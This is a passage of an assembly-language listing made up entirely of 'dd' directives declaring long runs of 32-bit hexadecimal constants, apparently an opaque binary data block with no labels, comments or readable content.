0DB72E460h, 0ED8DE310h, 0FC80E5C8h, 0F2FD74B5h, 38E2003Ch dd 0A55C26CFh, 2B00A1A6h, 0C706CD77h, 0FE9F0B4Bh, 0ED799Bh dd 7C53A367h, 0C08F92F5h, 0B5C82000h, 0A11B2786h, 0BC74A8EBh dd 0E5C01DA5h, 886890A4h, 0C05D9FECh, 0E82223AEh, 0D1001E6Dh dd 0B405B9DBh, 56035C85h, 99A02825h, 1507D378h, 0EAEFBB28h dd 897E72h, 0E68F5B7Ah, 0CC0E3145h, 301A9384h, 28252B7h dd 3C7E2C8Ch, 0A4810E0Ch, 59EC01C9h, 0B773D4BCh, 86DE323h dd 0F38EAB4h, 607574BCh, 0C9FD6371h, 7B610E03h, 34C0410Fh dd 4B8FA655h, 0B1674500h, 0ADE53DACh, 26160046h, 7FF295F4h dd 0A6002132h, 0CA620114h, 1897F73Eh, 819798Dh, 4303F4E7h dd 6359E2A6h, 8736F05Bh, 86500B1h, 92AEA879h, 0A000CAD9h dd 0F4B743F3h, 0E8A62047h, 4CC10153h, 1694B041h, 8DDCF8A2h dd 50C00FE8h, 4CE808F4h, 0F6A50392h, 7BD53DD8h, 227447C8h dd 0F500BFE0h, 0CF85B54h, 152C7C2Dh, 58E9B3F4h, 20620B02h dd 2B30073Eh, 0B420C031h, 0BCF6394h, 0C073C200h, 12485A9Bh dd 43020AE8h, 8054F755h, 19D6625Fh, 20867CA4h, 6F2214Bh dd 812430EDh, 0B7EC1A00h, 5EC4A459h, 97C018D6h, 0AF172833h dd 0BE013870h, 0FF7A7FF9h, 0A8DCF864h, 23BE2F4h, 0AB50E1E9h dd 42D04C96h, 9297220Ah, 0A60A9CF7h, 215EC82Ah, 0FE87F69Ch dd 42904D60h, 338593B7h, 7350AE72h, 57040D5h, 0C13D8D4Bh dd 8CC52233h, 2EA9A032h, 0A0170019h, 54EFF2D9h, 0C301B056h dd 0E4B99429h, 20BC0EFBh, 40CEED9Ch, 0EEA0B312h, 1D00E336h dd 1461936Ah, 3A8019h, 96D274C3h, 26A9A464h, 7F1A0900h dd 62289A50h, 2B63006Eh, 7872BADBh, 0D00614Dh, 0F15199CBh dd 7A65800Eh, 3A1F2EEh, 287CD1D4h, 40001660h, 14CCCA79h dd 4CB47DAEh, 0AB3A8D02h, 0C6611030h, 5D01CCA6h, 0E7DF9329h dd 0E13B3AACh, 0B79DC3Eh, 7B33Dh, 784FC339h, 60A256F5h dd 2C37F8BEh, 610B426Fh, 8C32A463h, 0F0082Ah, 0DE192DF3h dd 50076F6Dh, 376C1500h, 0E19036C4h, 156EEAB4h, 0A0C34609h dd 7AAFBC00h, 7FE3D2EBh, 508DF21Fh, 743A2100h, 9C5907h dd 816180A5h, 0BFDE4F5Fh, 705C38C0h, 6E21BEh, 0C60A750Dh dd 87DC1CAh, 126D8E03h, 0EBE61ED1h, 37E87BC3h, 4098CB17h dd 64F3CEDFh, 0A9A13C14h, 5083C4E8h, 0F3F58400h, 0FF0EF77Bh dd 20581E2Dh, 0ADF48FD9h, 0DE8B009Ah, 44C3348Ah, 0CF005478h dd 25A1BDA3h, 54CC507Dh, 24123419h, 501CB0F4h, 862D1Fh dd 44E57337h, 8F3B1C2Bh, 26644906h, 28B819BAh, 0D3A432h dd 4A6ABFE1h, 8DC90554h, 30001EF8h, 4C0CD5DEh, 24BC404h dd 0CEA50F8Ah, 4626B6h, 0EAE3940Eh, 66B528ADh, 0D800618Ch dd 671CCA8h, 0D70A24h, 0E40DEBFEh, 5D7F1718h, 0CE811407h dd 4CD0C2E0h, 5F9A4C8h, 8C384073h, 0A8B04F2Eh, 30116Dh dd 0C0784DA0h, 87011493h, 8B619F6Fh, 0E4A8E818h, 700018D7h dd 0D672344Dh, 7B64B21Fh, 64D1522Dh, 0E33033A2h, 4920E1E8h dd 0BB810FB7h, 0FE4F01E4h, 90183B04h, 7B6084B4h, 79E6921Eh dd 0C1178941h, 0F1C48BC4h, 8CAD00BEh, 0C37653AAh, 0EAA39AD0h dd 93E0E3A3h, 5C906DE1h, 0C680687Ah, 8183E385h, 0C4838EAEh dd 6A06109Eh, 2F71A890h, 0F0F028h, 5D8756BAh, 86D576EDh dd 0CB6AA30Ch, 0E3E9210Eh, 5CAF8BFCh, 0A4812FCh, 9C85A0Eh dd 9F799CA1h, 6AA84C4Dh, 61786F08h, 0BD53C293h, 6F7B9400h dd 0B16902AEh, 0F9758B63h, 0C89CE080h, 91144F01h, 3A5CD59Dh dd 680E05ACh, 5820A290h, 8918774h, 0CB6DBD5Dh, 0EF403844h dd 5FEA8763h, 0A053950Fh, 432D00E3h, 14785685h, 0DE84FAD7h dd 0E158470Ah, 23CC80F4h, 99E6964Dh, 0D193E200h, 3A1A6748h dd 24123D28h, 96B7900h, 8086F23Bh, 0B42C8228h, 5E44AE04h dd 10C0ED67h, 0CFC3969Dh, 14809F89h, 0C2FDBB4Dh, 0A9672A00h dd 0F5646261h, 0E3F8950Fh, 16EAD107h, 78354270h, 0EDD8DC40h dd 0E8C7F5h, 58562D21h, 238452D1h, 71429000h, 99EAA339h dd 787B00B6h, 698595B7h dd 0F40FECFFh, 0FE98D7h, 3BA1F943h, 0BDF008Ah, 61C3D047h dd 1E00990Eh, 9CADFA1Ah, 0CD526Ah, 62C840C2h, 28875E6Ch dd 0A81FC405h, 1088C185h, 0ED5F006Fh, 5112A6AEh, 0D10005BBh dd 0E4E34F2Fh, 0C1C7206Bh, 846CAE0h, 69CF486h, 0E74D1879h dd 0AFC60A24h, 6381E875h, 0C023BE6Ch, 0B0B61181h, 0D0CD9ED1h dd 4C1FA193h, 4D4A33CEh, 19009037h, 3D5096Ch, 3ADC0070h dd 8F1E16A8h, 4F0041D7h, 9E3B64EBh, 77D6AF75h, 0BF870F89h dd 0F560B7E2h, 28CBC7E5h, 0CE18300h, 189B9C12h, 0C009D00Eh dd 0C0482064h, 20AA7AFBh, 677C7E1Eh, 0F4861282h, 0B0A2C3E9h dd 0D551E7h, 0CAA31F16h, 0EB6A8C88h, 8186373Ch, 4771DA5Ch dd 0C6D0DF59h, 9C20C0CBh, 6AF33741h, 2EC8A38h, 7CB12357h dd 0AFDCE059h, 0AE8500F7h, 11CCE249h, 4F01BFE7h, 3F20E5FEh dd 86E93008h, 682A2086h, 58C1A90Eh, 0AF89D374h, 20984CB0h dd 0A860C49Fh, 74570650h, 0B10E675Fh, 601481F5h, 985AE013h dd 67AD3D07h, 35700920h, 0C99B6h, 0E8C2A1C1h, 5F51033Ch dd 4581301h, 0C30E2490h, 3868BCCCh, 0EF006BDDh, 311AD6AEh dd 0EC0A56F4h, 0BB73A793h, 64DA8100h, 1741545h, 0FB7595B9h dd 4892681Bh, 771FC304h, 580212BCh, 2054A665h, 0A01E022Fh dd 0D00C4AF1h, 3156A004h, 1D9202C2h, 0B6053F37h, 0E6F32BE3h dd 4DE066F0h, 18D2EC30h, 88A904C7h, 0ED449EA4h, 1840E938h dd 88EA2568h, 21841D10h, 0C508A090h, 44944538h, 22360424h dd 0E00CA2BCh, 9C8213A8h, 84A2AF10h, 1A3C0854h, 2C0CA750h dd 375124A8h, 0C305484h, 21CE42F4h, 18B395B4h, 5900B822h dd 0FB0CE818h, 853C56h, 0C37AF67Fh, 1F2D7367h, 172B18C0h dd 1634D7E3h, 0AA4C2ECh, 0B48737h, 50265E1Fh, 0C8014178h dd 0C282BA64h, 388020D9h, 0EBCC9A90h, 95504938h, 0ABEC7EC8h dd 7429C12Ch, 0FCD9D000h, 16A6B385h, 0C6AA68h, 0C3E60F94h dd 8C748BF7h, 86E5831h, 89204340h, 3B41F07Ch, 8E001926h dd 7BFC1C86h, 152A0CCEh, 3D1C4C75h, 0F8DEB6C4h, 3B140200h dd 0B2744Ah, 4E4FDC8Ch, 0C82EE6A8h, 9BFC9700h, 0CBF8F958h dd 0ACC20FAFh, 3160E0Ah, 5FF443Ch, 0F2137CF8h, 0A8029B98h dd 937F6A11h, 101C9408h, 0E0D42BEBh, 5586DFh, 71E60699h dd 85391E95h, 0A1204C02h, 0BEECCF7Eh, 0C79703C0h, 5C70C2E6h dd 0EF9E5E80h, 1F71DB0Dh, 0C0D4292Eh, 0E1FE0045h, 570C517h dd 4E010151h, 0DFAB0D1Ah, 0A0E05C36h, 5CA35383h, 71AD1301h dd 0C438B807h, 0E200F2D4h, 91329A81h, 0ECE58EEh, 0A662539Ch dd 0FE11CB80h, 61002FFBh, 33AA56B5h, 0A3EA483Fh, 0DF44E0BCh dd 0B491491Dh, 105F24h, 96EE8480h, 0D0A89CA0h, 2D0028FBh dd 2309BFFDh, 2155FD1h, 4E1E80A3h, 5897E642h, 0D6DDE888h dd 5A804C87h, 7DB12A3h, 26BD0043h, 0F07C021Ch, 0A748EED0h dd 25B10128h, 753FAD92h, 0C31109Ch, 8A405B6Bh, 57B6A302h dd 48E2DF82h, 71CB184h, 451906BEh, 0E87B43B5h, 0D4D895DBh dd 0A4248B0Ch, 59C27425h, 971D1D19h, 0A0ED104Fh, 385EE3E7h dd 0C1670650h, 0D02FAB14h, 0C232D612h, 8CC9CC08h, 3108F1E8h dd 8B4B2A01h, 0EFF9E50Fh, 65638050h, 6F40013Eh, 0AB215C10h dd 0F0AC4A9Ch, 3E07C158h, 0B901E668h, 1AE8677Fh, 81942204h dd 0DB775B1Eh, 0FD14D426h, 15AB441Ch, 84DFDEh, 0ECABFD2Eh dd 48F4D12Ah, 0F6B0E8E6h, 42003DEBh, 0E718895Fh, 7AE3209Fh dd 9CFE04BDh, 3A9666DAh, 0D1DC6E24h, 0B9DDF405h, 8AF04E00h dd 0E3C162E8h, 5574295Ah, 83594584h, 95A18A14h, 0CEA04061h dd 0C0015A5h, 43B83E2Ah, 304C76h, 9C315438h, 0DA32815Fh dd 7BF6F81Fh, 0A46D01B8h, 4C780E15h, 0C031819Ch, 0ADC1AA20h dd 0D009057Dh, 8843BB7Fh, 4808D0C5h, 0B1C6478Bh, 0FC05E86Ah dd 0D509759Bh, 15D31A4Bh, 36426264h, 0C54C086Ch, 4A3801DCh dd 9FB52F54h, 7935860h, 120E2CC9h, 816540DAh, 0C91F816h dd 6A080C5Ch, 58D8400Eh, 4F62924h, 38B9E440h, 0B81101DCh dd 5C0150E3h, 0B0FC4A99h, 20C0E3Fh, 8C652B8Eh, 0F4934E2Ch dd 73D97F0h, 42945814h, 0BA0CE080h, 96652C2Dh, 0AF2CF428h dd 20D2E821h, 2B820590h, 0BC3F26BBh, 0BEB8774h, 70485BAh dd 84A86008h, 1FE523B3h, 0A0E0D230h, 501C1A00h, 0ABD5CB21h dd 91CC030Ah, 3C44B8A8h, 4C55A7C0h, 65C620F9h, 80F1DE3Eh dd 5D464753h, 0F2E0D023h, 74C076Ah, 77C45A5Ch, 0F270A372h dd 380050C3h, 133F7345h, 426539h, 3C8393F5h, 482E7E0Dh dd 0F564618h, 3AF2D8Eh, 8138CD5Ch, 800CCE6Ch, 4040BB96h dd 2C00037h, 4C12E8B8h, 940E6352h, 600BA87Eh, 8786D982h dd 0C3BB3677h, 2F3CA8B9h, 0A0BCB1ACh, 1D035768h, 27FF480Fh dd 9D966013h, 30B0E83Ch, 563831A7h, 0C0C0C5E4h, 58432AFCh dd 7CDF336Bh, 9038190h, 0E8DA0E3Ch, 0E4E11B32h, 78E10897h dd 7A1AF45Fh, 0C67E0C00h, 0E08839E3h, 5D4D0330h, 2E8EC454h dd 0C5C06900h, 4E35D348h, 807F0096h, 44CDAE2Fh, 0F600DBE7h dd 3CE9882Eh, 1CDFB6E1h, 80A4175Eh, 0AC2848A9h, 0DE305C56h dd 0B51C78B1h, 30E60E32h, 198091F7h, 47E88E44h, 216F2803h dd 0B0AB1C0Ch, 0F4DE7Ah, 7626A143h, 0EEADA3B5h, 0F5EE200h dd 0AA9A9E0Eh, 16BF061h, 556C3EE3h, 0CC4389C0h, 9400EF3Bh dd 4E2D121Dh, 2AA788h, 0DB095FF2h, 0A99D7EFCh, 843FF800h dd 0C94A8CC8h, 50680008h, 29B281F2h, 65004DA2h, 5EF69BE5h dd 797E1153h, 6D4700E0h, 0D914B1B8h, 2149DFCh, 191C012h dd 1B67C8E7h, 5BE80D60h, 35AA008Eh, 0FDD06DC2h, 7300AF7Eh dd 0E75F4E0Fh, 0CBDB19h, 25A8D770h, 4FE1ECFFh, 0E2915E00h dd 2FF33F43h, 6E070030h, 534E5A74h, 7A00FE9Eh, 0E12EBBEBh dd 0D36071h, 929A2962h, 7C90B226h, 8AE6AB13h, 0A33D9900h dd 0C50AECh, 0B91428D8h, 3207358Ch, 3DD4F43Ch, 0C92B8FDFh dd 61C34F41h, 84A61DD7h, 0E9A31CE0h, 7E3D54FCh, 0F12E1F73h dd 338B03B1h, 0D3A85686h, 0D6075A17h, 54D9FEBAh, 80BB2320h dd 7B3E00B1h, 569F8697h, 71009527h, 0EE93008h, 0E2B6C94Dh dd 7C930084h, 3A68CAB3h, 7B791662h, 1DC54003h, 80CBB542h dd 488C3841h, 7F14AAh, 0E3C3BEF6h, 0EFBBB0A0h, 1C6B4C09h dd 9B2800DEh, 193DB9h, 6FADD7BEh, 2925C55Ch, 0E5A56C00h dd 0E7058BF2h, 2DCC0096h, 20A0AEF1h, 4A1F06DAh, 0F8C1ED31h dd 55668AE1h, 0E39C87D8h, 0B320E4h, 52F25B03h, 3F3472D5h dd 0E8E80A73h, 0C4F92401h, 0C7D6DBDAh, 208CCCh, 29F05FACh dd 77EA1C51h, 27328000h, 0A7D304EEh, 0FAAD0049h, 0E9AA4705h dd 9700AF89h, 0C0AEE688h, 790489Dh, 7FC2862Ah, 3DA8F026h dd 110018E3h, 0D350AF45h, 1C1430BEh, 40B4E506h, 0C1347D65h dd 0CB03D10Fh, 0A45688ADh, 9A5BD02Bh, 0D4CC006Dh, 13323A63h dd 0CA00906Eh, 226BBAA1h, 31D354h, 0DCC273E4h, 103FA9DAh dd 8309657Ch, 46967Fh, 0F2BD01F0h, 524D3D4Bh, 2D5E3301h dd 0ECAA434Fh, 75025C82h, 0CF5D590Bh, 8D7E606Ch, 0ABC700C8h dd 1E03ECDAh, 0C070A033h, 2D0BE900h, 0C4847C80h, 86AE005Dh dd 3162C72Bh, 3F035950h, 207AD751h, 8A54C04Dh, 668200ECh dd 0FB9ACF43h, 120FD428h, 60FDE4E7h, 57DBD594h, 6BC005Dh dd 4EDC2220h, 9300A3B8h, 3E09C538h, 9AF849h, 78116816h dd 0DF74F6CBh, 916C8506h dd 480535h, 0BCB1D40Ah, 0CE9C63DBh, 4499F600h, 68775F4Dh dd 0CB39127Ch, 0A1D003F2h, 2BD80D8Fh, 727E1D26h, 0FA293107h dd 0E3B010EFh, 0FE201C66h, 0D7F90057h, 87D406DBh, 311F4EDAh dd 0B507DD35h, 0D30FD3D2h, 0FE681A00h, 0EEED283Ch, 10410085h dd 0CCD2C5AEh, 4E008E33h, 3EC83697h, 2253039h, 0F669D13Ah dd 344157DAh, 0F081C48Eh, 0D8459F02h, 408C825Dh, 89122Ch dd 1E4A788Dh, 2EF1CE13h, 2F5B730Fh, 5CC1A0F0h, 0F4921BFh dd 0E690ACAAh, 58BB1DC0h, 2400F2AEh, 0CBDA790Ah, 8D4750h dd 0F6D84443h, 8553695Bh, 8070D53Bh, 66D93139h, 51E06Fh dd 614D4A0Ah, 75676936h, 0BA90D300h, 0CD242363h, 0E7BB003Ch dd 6911A91Fh, 4003B52h, 0E093635h, 1FA32FFh, 0A6E287DBh dd 0E039A1BAh, 4900B27Bh, 45420B5Ah, 0D18D22h, 0EFFFBB1Ch dd 7B271E20h, 0C50081E0h, 8CF9C0EEh, 9D2AB3h, 52ED387Dh dd 1E5635ADh, 0C1596600h, 0DA3E92B0h, 94F90EB7h, 77025Bh dd 6B95C054h, 0D1005153h, 12074F10h, 1FD4220h, 0DB4EC26Dh dd 0FAF4F97Bh, 0A08CC0DFh, 75AE0038h, 8B05F582h, 0CA008C25h dd 6118BFA7h, 3B6BDB1h, 0ACB28EC2h, 4EE0B482h, 2B0ECE10h dd 7D255FB7h, 0BD2F12C0h, 33A75A1h, 0CEF0D745h, 86C888D8h dd 948E24Bh, 42FF0005h, 0CA63C573h, 386A009Ah, 975943E7h dd 0F9007E18h, 0C0B39D0h, 9048B3F4h, 0C92500E1h, 63DA3FEh dd 85006957h, 96AAB451h, 1297351Ah, 0BE0912C6h, 53EDA500h dd 3E6DAC5h, 0E29A919Eh, 9B902535h, 0D0031B57h, 0B5CC6FD6h dd 0FE65A187h, 3C784C4h, 3B6A1224h, 0AA880AE0h, 0E735970h dd 91CB6D00h, 15374BD2h, 5EDD0181h, 8042A77Eh, 6623EC65h dd 96C4EC00h, 0BD1FB2A8h, 160900B7h, 5E0D4358h, 0D400975Ah dd 4F07B8B0h, 9D747Eh, 57678099h, 0FCF2755h, 4C514500h dd 5A5392D8h, 483B3EC9h, 0F1BBE381h, 70F40BECh, 5100607Ah dd 4DEBE70h, 0D32512h, 9388485Bh, 10545331h, 1D78700h dd 0A0EA0E65h, 0B0ED501Ah, 0A198074Ch, 10C3D3F1h, 17025A6Dh dd 97F81600h, 6AFDE37h, 8CD02A48h, 0F85861C4h, 70BCF7C3h dd 0F3002489h, 0C1079625h, 9E94F4h, 0E35357F1h, 85B8E6Ah dd 3100F58h, 44B3A4C9h, 0C856E084h, 177C3F98h, 0EB5B97h dd 3E6079E6h, 0E0FCA28Ch, 7B7A3Bh, 0F42275CBh, 9C40ED2h dd 0FC6A9D6Fh, 0B0700E60h, 73E12958h, 8D371E0Eh, 80AE0B7h dd 2A4C723h, 8227BBCAh, 6DE0C0CEh, 0CF0F99D9h, 0C7EB7EEFh dd 49F005CCh, 38EDA7h, 0FA3DB517h, 0EE5220D6h, 68621500h dd 678A6195h, 0BE7700BFh, 1DE53E1h, 0C57C9964h, 8778E500h dd 17084902h, 0D93C00F1h, 43505F70h, 2500BB05h, 510A1637h dd 7BE98CFh, 9FEBF697h, 91C1307Fh, 820A1C9Bh, 0C4ECFC7Ch dd 0E2EA7600h, 768F71Eh, 0AA61B956h, 930C1C9h, 2F3FE06Eh dd 783F28DEh, 0DEAB7828h, 0B35F8D00h, 0E598A7AEh, 0E87D03ADh dd 0F748F54Fh, 4207A598h, 25709D0Fh, 887C80F2h, 7B5F35Eh dd 3F1F2BE9h, 0EF407E4Bh, 0E1AE7DDDh, 602E8B30h, 0C16F36F6h dd 0F1047F70h, 0B8BC99h, 89748FF7h, 0E4737964h, 0C7587425h dd 0F0C91B11h, 5B6EB780h, 0F150976Ch, 9BB600B3h, 0F6E06703h dd 0A8028F3Dh, 0D7D58680h, 0B825E032h, 8D623F98h, 1C3BAD86h dd 0E5E971A5h, 9DB5FC4Bh, 9212AA19h, 45F9A19h, 6D2CF7E0h dd 3200D97Eh, 53FDD6DFh, 0A509CFFh, 4FBE3974h, 427341A0h dd 9FE700A8h, 0E8ED3A18h, 4B3E993Eh, 0F6853457h, 74C2BECh dd 807CCF3Ch, 3DA6AC0h, 0B4B5037Ah, 41CD1C98h, 0DB045B80h dd 3E3074F8h, 0FF8119E1h, 0B686885Ah, 0C1518A1h, 3D24A8A6h dd 9D118401h, 4921B833h, 0C2F578Ah, 77242515h, 110C3850h dd 391F2186h, 46C24D10h, 6124BBB6h, 18821035h, 0E1951921h dd 24352B3Ch, 0C4A8CE5h, 6B886C71h, 422D453Eh, 0B2AF8A18h dd 0C4A7925h, 1D65847Fh, 9C0A0C4Ah, 0C4A2965h, 8566C055h dd 11257E19h, 21CB4D5Ah, 0E2DE8A4Eh, 580A113Ch, 7F7C048Dh dd 0E4D70347h, 31491160h, 99FC0318h, 9506FAAh, 0A08897E0h dd 75A63D00h, 6E58FE52h, 4A8700CAh, 74B07719h, 2492BEEAh dd 0FBF6550Ch, 988DD142h, 12EC889Eh, 31E920ACh, 8BD70700h dd 1CC3BFCFh, 0AC101ABh, 1E8E406Eh, 2F521002h, 187C12B5h dd 6A5047B2h, 886ED630h, 472C4500h, 1CAA980Ch, 128471B9h dd 0E5303h, 189D12F0h, 1CA5ECFEh, 523B8240h, 8DEF0CF7h dd 6BB1BE46h, 58124800h, 35B95F5Bh, 94195070h, 0D233174Ah dd 306406E2h, 0DF0F5967h, 2006F87Bh, 0A957FA0h, 0D22600C4h dd 91D5CA42h, 0D9DF461Eh, 352D093Ch, 0DCDCA0C8h, 154274BDh dd 1486A5B1h, 0D13B0579h, 406AAFE2h, 7DC35034h, 0B939EB82h dd 5B3B7CB5h, 57598F3Ch, 48776186h, 0F8800946h, 8FD03165h dd 0E0F641AFh, 7EDD638h, 0F430FEB8h, 0E3E636A7h, 9249B8h dd 0B47AB20Ch, 3F008899h, 3AEDD2E1h, 71452895h, 0E0D560DFh dd 17FDBCEBh, 43D750Fh, 90C9032Eh, 0D350E185h, 3AB76841h dd 0F08A8090h, 14B3BD31h, 0C80DFC23h, 0A994650Bh, 3956C03h dd 702179C8h, 321F5005h, 0C0275FECh, 0E78330D7h, 42101717h dd 0CEF44153h, 80A625EAh, 0D119BAA0h, 0E934AD2Dh, 864A9F1h dd 64FB166Ch, 0F93002F3h, 1303E24Eh, 6CD90578h, 87CB0382h dd 1EDBC09Ch, 0D33A3E7Bh, 87317C0Fh, 0C11318B7h, 0CD84B8D2h dd 22E209CEh, 58279B49h, 9F8880D5h, 0EC3F6017h, 1862B047h dd 2621C3CFh, 44F0287Ch, 0DB7C8C86h, 4ABAD316h, 847A6843h dd 0DFE0A0B1h, 0A0AA4933h, 2A35A21Dh, 5B4A1280h, 804814CFh dd 81B6EC03h, 0F11E7113h, 407078BAh, 14B2D07Bh, 0A0494228h dd 39A0B42Ch, 0D726CC80h, 0EAD5C364h, 81BB591Fh, 0D676A700h dd 0A07F5BD2h, 3A56EB80h, 0D4182248h, 2F88E06Ah, 975DA2E0h dd 194C003Ch, 82397915h, 0C3D8FC86h, 0D1534A29h, 83EA026h dd 70C8C310h, 0B33D7480h, 1CF221Bh, 1A75A458h, 64796743h dd 0AC92B894h, 8653DB39h, 0D1BEC703h, 4AF130E8h, 0D4C5A770h dd 0B1468C15h, 3DEBC130h, 0D61C1A8Eh, 2E36BF40h, 4234E7BBh dd 4848E823h, 8A24DA1Ch, 8004BC62h, 4893879Fh, 6154A290h dd 20246C38h, 0EEAE411h, 0F6B04855h, 7B301D21h, 0BDC236Bh dd 9718FEh, 0C70BA09Ch, 78EF05A3h, 90ABEB21h, 26F78DC0h dd 90C828A0h, 0E883C501h, 0E7D1BFA3h, 6692A042h, 0D7120010h dd 0EADF49A1h, 0CC1DBCDCh, 48C009D5h, 0D1B4F852h, 8C410060h dd 0ECF958D6h, 6309317Ch, 9C850A27h, 0DB3411A8h, 0A8411217h dd 58F45008h, 9F1FAABDh, 58260BDAh, 0EFF980C0h, 0F63A3E28h dd 24308060h, 9901E6B5h, 0FDF8BE50h, 4C249814h, 3E3107D8h dd 8543B27Bh, 7E448070h, 0BA5CC9AEh, 9F484D58h, 30980BD8h dd 1ABE057Ah, 413247C1h, 2006C3ECh, 27308664h, 22B1C9D2h dd 52061085h, 6FB7E331h, 0C0BFCE8h, 5F9ED31Ch, 204CB310h dd 2D09040h, 0A393F80Ch, 0E7086894h, 1864F1EDh, 5919FC3Fh dd 0BD00F4E2h, 90C16F3Dh, 9550CC48h, 94451518h, 51EC6888h dd 605D5701h, 29B24BBAh, 7620E878h, 56BE77Ah, 0FD4C7390h dd 17D04099h, 28F03909h, 0DD0A9C1Fh, 0A0C5CD49h, 0A7B4423Ch dd 91FF31CBh, 60A97C11h, 8A4A0FEh, 84488F46h, 0F0D424h dd 947A5EC2h, 0DCE85483h, 0F7B0700Ah, 4B80BC6Eh, 0CE56E052h dd 31720EBDh, 1E40ADC9h dd 7EDDA8F5h, 8354633Ch, 0B073D86Dh, 28A7C436h, 7D5D4500h dd 0B137F699h, 96002678h, 0C16D3EB4h, 0B5708h, 0DD85CFD6h dd 0D147E7A8h, 0C6CEAE18h, 9F8E28h, 403EB642h, 32759162h dd 0E63397Fh, 0A04D0F38h, 0E01BD58h, 673B5C16h, 0BB734580h dd 0AF18EE48h, 18492505h, 1E2F01C4h, 63A6B703h, 0F461F0DFh dd 4C3FBC7Eh, 90C29D6Ch, 53F62680h, 7E04D685h, 0C8061F73h dd 3805180Ch, 1B306695h, 0E3452897h, 22AA03DFh, 5A7062B0h dd 9EC4510Eh, 69448067h, 37DBE21Bh, 0C011025Eh, 0E4B46258h dd 895DBD05h, 30230F45h, 54B1E676h, 7148C5h, 0DB4DF086h dd 0F4C76544h, 0B4388B00h, 8F76B1A6h, 779E33CFh, 0C900639h dd 52074C92h, 623485A4h, 5473FB1h, 12F91F0h, 0FC8CF613h dd 50690F6Ch, 0BE27D790h, 7FECE200h, 95BFC137h, 88060744h dd 0B0295B83h, 0B1C8C4CAh, 30E1A1C1h, 2080D00Ch, 0FD7D74E5h dd 8D50BEABh, 0F80A4A8Ch, 94A67613h, 0BC049694h, 0C0673075h dd 6C235A48h, 0C7B8AE00h, 761A1EA6h, 7F2E00D3h, 2D1D4519h dd 980028AFh, 0F7C4A2CAh, 998725h, 0E0F875D5h, 0B28BD772h dd 0C84DFD00h, 59097D93h, 0B0F7015Bh, 9E0AE7ADh, 0FBE140BCh dd 9305C97Eh, 0AA4BF07Fh, 323D13C1h, 25A7CCCh, 0D3E7DC1Eh dd 860B2A7h, 0C0016346h, 0BB180CF4h, 45E01EDFh, 9B9E00C5h dd 2C0176B2h, 0CF00E011h, 0AAB5031Ah, 0E2BE2135h, 7AE200C5h dd 9AE133FBh, 0ACF662ABh, 0C111D300h, 0D66FC7C8h, 6C1B0414h dd 0C29D9057h, 1AE0354Ch, 23007A3Ch, 0FE3CF91h, 0C3D459h dd 2147A356h, 0B14169D6h, 312E61E4h, 96034D03h, 0C83B9394h dd 7FC66D6Eh, 5D4B00B3h, 0E7428FC1h, 517BF10Eh, 6F614617h dd 5AF5A002h, 3AAA40C8h, 52AE00E4h, 4735E0EBh, 4C00EA27h dd 0CA0E63Eh, 0D9433Ch, 0A1301138h, 0C16CDAC3h, 0D4007A73h dd 0ABB04258h, 1C5C486h, 0E45230AEh, 801B3421h, 8F110139h dd 0FAA16BAh, 0A6E206FFh, 11C55BC7h, 0F8B5CE73h, 4B00DD53h dd 55F15D27h, 0D057C2h, 3D62D498h, 0C7FF757Eh, 3B484B03h dd 0A88F77BAh, 216871h, 15BD404Eh, 8A8D195Eh, 5BCBFC00h dd 3026F39Fh, 0AD853A3Ah, 0FE327D00h, 0E798A759h, 82A91A00h dd 0A00621F3h, 6AF1011Fh, 0ADC68E9h, 0A55BF481h, 0DFC72818h dd 0FAFA35C0h, 527F01D0h, 67102B71h, 667DCCD9h, 830098E4h dd 0B69C13EEh, 3EA198Fh, 590B182Bh, 0CAE8526Dh, 2A00602Fh dd 853E826Bh, 0EA323090h, 0FCDA1E6Ch, 0A0C5C3BEh, 47A866F5h dd 7001B3E8h, 125DF8E0h, 99D8C83Dh, 8ED0006Eh, 813CF2C1h dd 0CE00EA5Ah, 56D4F5D9h, 31F1E6h, 85C2122h, 2B2E4841h dd 0B436DC00h, 0C6C7DBCEh, 1E0105ADh, 0C0F37225h, 3519912Eh dd 0ECA893Bh, 0C1E4A7DCh, 15D334F6h, 600DF03Bh, 0D5EB6800h dd 6E45B833h, 10676F7Ah, 1080C8E7h, 5C3CC49Bh, 2711FCA0h dd 3A173007h, 45D08FB3h, 0E41BE8CAh, 0B1D63AF4h, 0EA2B7280h dd 42A47EE0h, 0EFD93Ah, 0A317AE7Ch, 4304F7h, 23A78B22h dd 0B381A234h, 0DC24900h, 0FB48215Fh, 0A4CA00C6h, 0E105F38Ah dd 0DF0E5287h, 0F09490h, 984F2ECh, 58173888h, 70F392h dd 3CA30D0Ch, 0B000A53Ah, 9543F772h, 3B49F8A4h, 51002D50h dd 9121A77h, 0FB006361h, 0EC6E96BFh, 73C0B14h, 95602C21h dd 2513A039h, 0E10070DFh, 483722E6h, 0EC17D38Dh, 0FE1B0024h dd 0A90B7243h, 0F200C626h, 0C7AFB6FAh, 8771BAh, 4BFC59C2h dd 0FF1D5F41h, 56DCAA00h, 0CFA08A13h, 169F006Ah, 0DD1E8370h dd 4F07D4ABh, 3B265AA5h, 7CCE5330h, 0C8B6A0F6h, 0A665009Eh dd 6FA3E4C3h, 33BC680h, 0E7A8504Eh, 0A020A500h, 9577BB7Bh dd 77F57h, 7DA27C74h, 39D818C9h, 0F8513F00h, 0A6A9E6DCh dd 34B700C8h, 0D9C9BFC3h, 4D00D8A7h, 78A04FE2h, 24895B58h dd 80F18Bh, 69FD6D14h, 36001D87h, 0BF011BE4h, 3A95C61Fh dd 4D9E31FAh, 0EF68C0E7h, 41054EA0h, 720097F6h, 1A11D9ABh dd 0FD855Eh, 245CC456h, 15D546DDh, 770630FFh, 55813300h dd 9BB469BAh, 10903Bh, 25ACAE58h, 0E0083151h, 97006BF8h dd 0F883656Ch, 0E0FD073Bh, 300F006Dh, 852E33B3h, 0E300DA8Bh dd 0EB3A7FAAh, 7D4161Bh, 5E14BDE0h, 6FF7505Ah, 0B3007E0Bh dd 0E9DC3FA6h, 7D8BBFh, 567A92CCh, 0F597906Dh, 70FFEA00h dd 7131265Ch, 355B3981h, 0EE22B20Fh, 0ED33AC80h, 0E5004240h dd 0C20DB84Bh, 1BA3F01Ah, 10BD6039h, 0AC717A00h, 7EF5D1CEh dd 95783FEFh, 8EE63B00h, 74BEF8A1h, 2518D61Fh, 0E987F280h dd 1EBB15Eh, 0C4656083h, 0DC5975E5h, 9900508Dh, 5D71E1E7h dd 9A72A36h, 0C6157D1h, 16580100h, 25009CC1h, 598BF2A9h dd 780E4F45h, 976D0067h, 0CCB9E34Ah, 0CEE4AB8Ah, 3CE70B2Ch dd 1373002h, 